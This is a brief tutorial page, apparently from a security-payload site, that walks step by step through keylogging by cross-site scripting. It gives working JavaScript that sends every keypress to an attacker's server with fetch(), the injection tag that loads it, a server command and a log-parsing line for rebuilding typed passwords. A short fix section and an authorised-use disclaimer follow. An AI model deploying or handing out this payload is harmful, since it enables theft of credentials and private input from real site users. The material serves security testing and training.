XSS — Keylogging via XSS

The Attack

document.addEventListener('keydown', fn) fires on every keypress. Combine this with fetch() to stream keystrokes to your server in real time.

Step-by-Step

Step 1 — Create xss.js:

function logKey(event) {
    fetch("http://192.168.XX.XX/k?key=" + event.key)
}
document.addEventListener('keydown', logKey);

Step 2 — Start server:

python3 -m http.server 80

Step 3 — Submit the injection:

<script src="http://192.168.XX.XX/xss.js"></script>

Step 4 — Parse the captured keystrokes:

awk '{split($7,a,"="); print a[2]}' log.txt | tr -d '\n'

What You Receive

GET /k?key=p HTTP/1.1 GET /k?key=a HTTP/1.1 GET /k?key=s HTTP/1.1 GET /k?key=s HTTP/1.1 GET /k?key=w HTTP/1.1

Each keypress arrives as a separate GET request. Parse the log and reconstruct the plaintext of everything the victim typed — including passwords entered while the script runs.

Fix: CSP with strict script-src prevents attacker-hosted scripts from loading. HttpOnly cookies ensure session tokens can't be stolen even if the keylogger runs. Sanitise all inputs to prevent initial injection.

---

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →